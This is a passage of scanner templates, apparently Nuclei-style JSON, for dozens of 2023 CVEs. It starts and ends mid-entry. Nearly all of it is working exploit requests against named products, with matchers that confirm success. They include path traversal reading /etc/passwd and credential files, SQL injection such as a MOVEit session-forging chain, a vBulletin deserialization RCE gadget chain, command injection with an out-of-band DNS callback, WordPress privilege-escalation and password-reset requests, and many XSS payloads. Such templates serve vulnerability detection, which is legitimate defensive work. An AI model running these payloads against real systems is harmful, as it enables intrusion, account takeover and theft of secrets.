Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd","{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-26842","info":{"name":"ChurchCRM 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=\" onfocus=alert(document.domain) autofocus=\"&AddField=Add+New+Person+Classification\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onfocus=alert(document.domain) autofocus=\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2023-27587","info":{"name":"ReadToMyShoe - Generation of Error Message Containing Sensitive Information","severity":"medium"},"requests":[{"raw":["POST /api/add-article-by-text HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\n\n{\n  \"title\":\"Kernsicherheitstest\",\n  \"body\":\"Kernsicherheitstest\"\n}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["!contains((body), 'https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=REDACTED')"]},{"type":"word","words":["Caused by:","TTS request failed"],"condition":"and"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2023-29298","info":{"name":"Adobe ColdFusion - Access Control Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}//CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}"]},{"type":"dsl","dsl":["contains(content_type, \"text/html\")","status_code == 200","len(trim_space(body)) == 106"],"condition":"and"}]}]},{"id":"CVE-2023-32243","info":{"name":"WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset","severity":"critical"},"requests":[{"raw":["GET /wp-login.php HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-json/wp/v2/users/ HTTP/1.1\nHost: {{Hostname}}\n","GET /?rest_route=/wp/v2/users HTTP/1.1\nHost: {{Hostname}}\n","GET /feed/ HTTP/1.1\nHost: {{Hostname}}\n","GET /author-sitemap.xml HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=login_or_register_user&eael-resetpassword-submit=true&page_id=124&widget_id=224&eael-resetpassword-nonce={{nonce}}&eael-pass1={{password}}&eael-pass2={{password}}&rp_login={{wordpress-username}}\n"],"payloads":{"password":["{{randstr}}"]},"host-redirects":true,"max-redirects":2,"stop-at-first-match":true,"matchers":[{"type":"word","part":"body_6","words":["\"success\":true","\"data\":"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","part":"body_1","group":1,"regex":["nonce\":\"([0-9a-z]+)"],"internal":true},{"type":"json","part":"body","name":"wordpress-username","group":1,"json":[".[] | .slug",".[].name"],"internal":true},{"type":"regex","part":"body_4","name":"wordpress-username","group":1,"regex":["<\\/dc:creator>"],"internal":true},{"type":"regex","part":"body_5","name":"wordpress-username","group":1,"regex":["\\/author\\/([a-z-]+)\\/"],"internal":true}]}]},{"id":"CVE-2023-29489","info":{"name":"cPanel - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cpanelwebcall/aaaaaaaaaaaa"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["aaaaaaaaaaaa","Invalid webcall ID:"],"condition":"and"},{"type":"status","status":[400]}]}]},{"id":"CVE-2023-29923","info":{"name":"PowerJob <=4.3.2 - Unauthenticated Access","severity":"medium"},"requests":[{"raw":["POST /job/list HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n{\"appId\":1,\"index\":0,\"pageSize\":10}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"success\":true,\"data\":{\"index\":0,\"pageSize\":10,"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-3460","info":{"name":"Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/ultimate-member/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /index.php/register/?{{version}} HTTP/1.1\nHost: {{Hostname}}\n","GET {{path}} HTTP/1.1\nHost: {{Hostname}}\n","POST {{path}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser_login-{{formid}}={{username}}&user_email-{{formid}}={{email}}&user_password-{{formid}}={{password}}&confirm_user_password-{{formid}}={{password}}&first_name-{{formid}}={{firstname}}&last_name-{{formid}}={{lastname}}&form_id={{formid}}&um_request=&_wpnonce={{wpnonce}}&wp_c%C3%A0pabilities%5Badministrator%5D=1\n"],"matchers":[{"type":"dsl","dsl":["contains(to_lower(body_1), \"ultimate member\")","regex(\"wordpress_logged_in_[a-z0-9]{32}\", header_4)","status_code_4 == 302"],"condition":"and"}],"extractors":[{"type":"regex","name":"path","part":"location_2","group":1,"regex":["([a-z:/.]+)"],"internal":true},{"type":"regex","name":"version","part":"body_1","group":1,"regex":["(?i)Stable.tag:\\s?([\\w.]+)"],"internal":true},{"type":"regex","name":"formid","part":"body_3","group":1,"regex":["name=\"form_id\" id=\"form_id_([0-9]+)\""],"internal":true},{"type":"regex","name":"wpnonce","part":"body_3","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\""],"internal":true},{"type":"dsl","dsl":["\"WP_USERNAME: \"+ username","\"WP_PASSWORD: \"+ password"]}]}]},{"id":"CVE-2023-31059","info":{"name":"Repetier Server - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php"],"matchers-condition":"and","matchers":[{"type":"binary","part":"body","binary":["53514C69746520666F726D6174203300"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1835","info":{"name":"Ninja Forms < 3.6.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E  HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"Ninja Forms\")"],"condition":"and"}]}]},{"id":"CVE-2023-28432","info":{"name":"MinIO Cluster Deployment - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /minio/bootstrap/v1/verify HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"MINIO_ROOT_PASSWORD\":","\"MINIO_ROOT_USER\":","\"MinioEnv\":"],"condition":"or"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-34598","info":{"name":"Gibbon v25.0.0 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?q=./gibbon.sql"],"matchers-condition":"and","matchers":[{"type":"word","words":["phpMyAdmin SQL Dump","gibbon"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0448","info":{"name":"WP Helper Lite < 4.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains(body, \">\")","contains(body, \"params\\\":{\\\"action\")"],"condition":"and"}]}]},{"id":"CVE-2023-1546","info":{"name":"MyCryptoCheckout < 2.124 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&\"> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"scriptalert(/XSS/)/script\")","contains(body_2, \"mycryptocheckout\")"],"condition":"and"}]}]},{"id":"CVE-2023-37266","info":{"name":"CasaOS  < 0.4.4 - Authentication Bypass via Random JWT Token","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/v1/folder?path=%2F"],"headers":{"Authorization":"{{jwt_token}}"},"matchers":[{"type":"word","words":["\"success\":200","\"message\":\"ok\"","content","is_dir"],"condition":"and"}],"extractors":[{"type":"json","json":[".data.content[].path"]}]}]},{"id":"CVE-2023-36934","info":{"name":"MOVEit Transfer - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27{{session_cookie}}%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+IpAddress=%27{{public_ip()}}%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27{{session_cookie}}%27%23 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntransaction=signon\n","POST /human.aspx?ep={{url_encode(ep)}} HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: InitialPage=zzzz.aspx;\n\ntransaction=passchangerequest\n","POST /machine.aspx HTTP/2\nHost: {{Hostname}}\nCookie: siLockLongTermInstID=0; ASP.NET_SessionId={{session}};\n\na=a\n","POST /api/v1/auth/token HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nAccept-Encoding: gzip, deflate\nCookie: ASP.NET_SessionId={{session_cookie}}\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=session&username=x&password=x\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_4","words":["\"refresh_token\"","\"access_token\"","\"token_type\"","\"expires_in\""],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"ep","group":1,"regex":["\\bep=([^&]+)\""],"internal":true,"part":"body_1"},{"type":"regex","name":"session","group":1,"regex":["ASP.NET_SessionId=([^;]+)"],"internal":true,"part":"header_2"},{"type":"regex","group":1,"regex":["\"access_token\":\"([^\"]+)\""],"part":"body_4"}]}]},{"id":"CVE-2023-30019","info":{"name":"Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","words":["Invalid source image"]},{"type":"status","status":[422]}]}]},{"id":"CVE-2023-39120","info":{"name":"Nodogsplash - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/config/nodogsplash"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["nodogsplash","password"],"condition":"and"},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0942","info":{"name":"WordPress Japanized for WooCommerce <2.5.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=wc4jp-options&tab=a HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\") && contains(body_2, \"woocommerce-for-japan\")"],"condition":"and"}]}]},{"id":"CVE-2023-0562","info":{"name":"Bank Locker Management System v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /banker/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+AND+4719%3D4719--+GZHh&inputpwd=ABC&login=\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"admin\")","contains(body, \"BLMS | Dashboard\")"],"condition":"and"}]}]},{"id":"CVE-2023-1890","info":{"name":"Tablesome < 1.0.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?post_type=tablesome_cpt&a%22%3e%3cscript%3ealert`document.domain`%3c%2fscript%3e HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"tablesome\")"],"condition":"and"}]}]},{"id":"CVE-2023-1362","info":{"name":"unilogies/bumsys < v2.0.2 - Clickjacking","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","!regex('X-Frame-Options', header)","contains(body, 'BUMSys')"],"condition":"and"}]}]},{"id":"CVE-2023-1698","info":{"name":"WAGO - Remote Command Execution","severity":"high"},"requests":[{"raw":["POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{\"package\":\";id;#\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"license\":","\"name\":","uid=","gid="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27008","info":{"name":"ATutor < 2.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /atutor/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntoken=asdf\");}alert(document.domain);+function+asdf()+{//\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[");}alert(document.domain); function","ATutor","Login"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24737","info":{"name":"PMB v7.4.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["3@1="]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-25135","info":{"name":"vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /ajax/api/user/save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a\"googlelogin_vendor_autoload\"%3a0%3a{}i%3a1%3bO%3a32%3a\"Monolog\\Handler\\SyslogUdpHandler\"%3a1%3a{s%3a9%3a\"%00*%00socket\"%3bO%3a29%3a\"Monolog\\Handler\\BufferHandler\"%3a7%3a{s%3a10%3a\"%00*%00handler\"%3br%3a4%3bs%3a13%3a\"%00*%00bufferSize\"%3bi%3a-1%3bs%3a9%3a\"%00*%00buffer\"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a\"CVE-2023-25135\"%3bs%3a5%3a\"level\"%3bN%3b}}s%3a8%3a\"%00*%00level\"%3bN%3bs%3a14%3a\"%00*%00initialized\"%3bb%3a1%3bs%3a14%3a\"%00*%00bufferLimit\"%3bi%3a-1%3bs%3a13%3a\"%00*%00processors\"%3ba%3a2%3a{i%3a0%3bs%3a7%3a\"current\"%3bi%3a1%3bs%3a8%3a\"var_dump\"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["string(14)","\"CVE-2023-25135\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1080","info":{"name":"WordPress GN Publisher <1.5.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"/ onmouseover=alert(document.domain);//\")","contains(body_2, \"GN Publisher\")"],"condition":"and"}]}]},{"id":"CVE-2023-3765","info":{"name":"MLflow Absolute Path Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax-api/2.0/mlflow-artifacts/artifacts?path=C:/"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"is_dir\":","\"path\":","\"files\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1730","info":{"name":"SupportCandy < 3.1.5 - Unauthenticated SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nCookie: wpsc_guest_login_auth={\"email\":\"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu\"}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"supportcandy\")"],"condition":"and"}]}]},{"id":"CVE-2023-26360","info":{"name":"Unauthenticated File Read Adobe ColdFusion","severity":"high"},"requests":[{"raw":["POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["password=","encrypted=true","adobe"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2023-28343","info":{"name":"Altenergy Power Control Software C1.2.5 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /index.php/management/set_timezone HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nAccept-Encoding: gzip, deflate\nReferer: {{RootURL}}/index.php/management/datetime\n\ntimezone=`nslookup {{interactsh-url}}`\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Time Zone updated successfully"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0236","info":{"name":"WordPress Tutor LMS <2.0.10 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(document.domain)%3E&user_id=dd HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\")","contains(body_2, \"Instructor Registration\")"],"condition":"and"}]}]},{"id":"CVE-2023-0563","info":{"name":"Bank Locker Management System - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /search-locker-details.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsearchinput=%E2%80%9C%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"/>\")","contains(body, \"Bank Locker Management System\")"],"condition":"and"}]}]},{"id":"CVE-2023-2796","info":{"name":"EventON <= 2.1 - Missing Authorization","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["BEGIN:VCALENDAR","END:VCALENDAR"],"condition":"and"},{"type":"word","part":"header","words":["text/Calendar"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27292","info":{"name":"OpenCATS - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /index.php?m=settings&a=previewPage&url=https://oast.me HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Page Preview","","Identity Server"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-29622","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=test&password=test')+AND+(SELECT+4458+FROM+(SELECT(SLEEP(6)))JblN)+AND+('orQN'='orQN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"status\\\":\\\"incorrect\")"],"condition":"and"}]}]},{"id":"CVE-2023-33440","info":{"name":"Faculty Evaluation System v1.0 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /ajax.php?action=save_user HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------1037163726497\n\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"id\"\n\n1\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"firstname\"\n\nAdministrator\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"lastname\"\n\na\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"img\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"email\"\n\n{{email}}\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"password\"\n\n\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"cpass\"\n\n\n-----------------------------1037163726497--\n","GET /login.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","regex(\"^1$\", body_1)","!regex(\"^2$\", body_1)","len(body_1) == 1","contains(body_2, \"Faculty Evaluation\")"],"condition":"and"}]}]},{"id":"CVE-2023-23161","info":{"name":"Art Gallery Management System Project v1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["center\">","Art Type"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1454","info":{"name":"Jeecg-boot 3.5.0 qurestSql - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /jeecg-boot/jmreport/qurestSql HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n{\"apiSelectId\":\"1316997232402231298\",\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SQLException","XPATH syntax error:"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["XPATH syntax error: '([a-z_@%]+)'","XPATH syntax error: '([a-z- @%]+)'","XPATH syntax error: '([a-z@%0-9.]+)'"],"part":"body"}]}]},{"id":"CVE-2023-36289","info":{"name":"Webkul QloApps 1.6.0 - Cross-site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nSubmitCreate=1&ajax=true&back=my-account&controller=authentication&email={{email}}&email_create={{email}}\"%20onmouseover=alert(document.domain)%20y=&token={{randstr}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onmouseover=alert(document.domain)","hasConfirmation"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0514","info":{"name":"Membership Database <= 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/admin.php?page=member-database%2Flist_members.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=sort&where=id&operator=%3D&value=asd%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%2F%2F&sortBy=id&ascdesc=asc\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"Member Database\")"],"condition":"and"}]}]},{"id":"CVE-2023-36287","info":{"name":"Webkul QloApps 1.6.0 - Cross-site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncontroller=change-currency9405'-alert(document.domain)-'&id_currency=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'change-currency9405'-alert(document.domain)-'';","customizationIdMessage"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27179","info":{"name":"GDidees CMS v3.9.1 - Arbitrary File Download","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/_admin/imgdownload.php?filename=imgdownload.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["$filename=$_GET[\"filename\"];","@readfile($filename) OR die();"],"condition":"and"},{"type":"word","part":"header","words":["application/force-download"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2825","info":{"name":"GitLab 16.0.0 - Path Traversal","severity":"high"},"requests":[{"raw":["GET /users/sign_in HTTP/1.1\nHost: {{Hostname}}\n","POST /users/sign_in HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAccept: */*\n\nuser%5Blogin%5D={{username}}&user%5Bpassword%5D={{password}}&authenticity_token={{token_1}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAccept: */*\n\ngroup%5Bparent_id%5D=&group%5Bname%5D={{data}}-1&group%5Bpath%5D={{data}}-1&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-2&group%5Bpath%5D={{data}}-2&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: 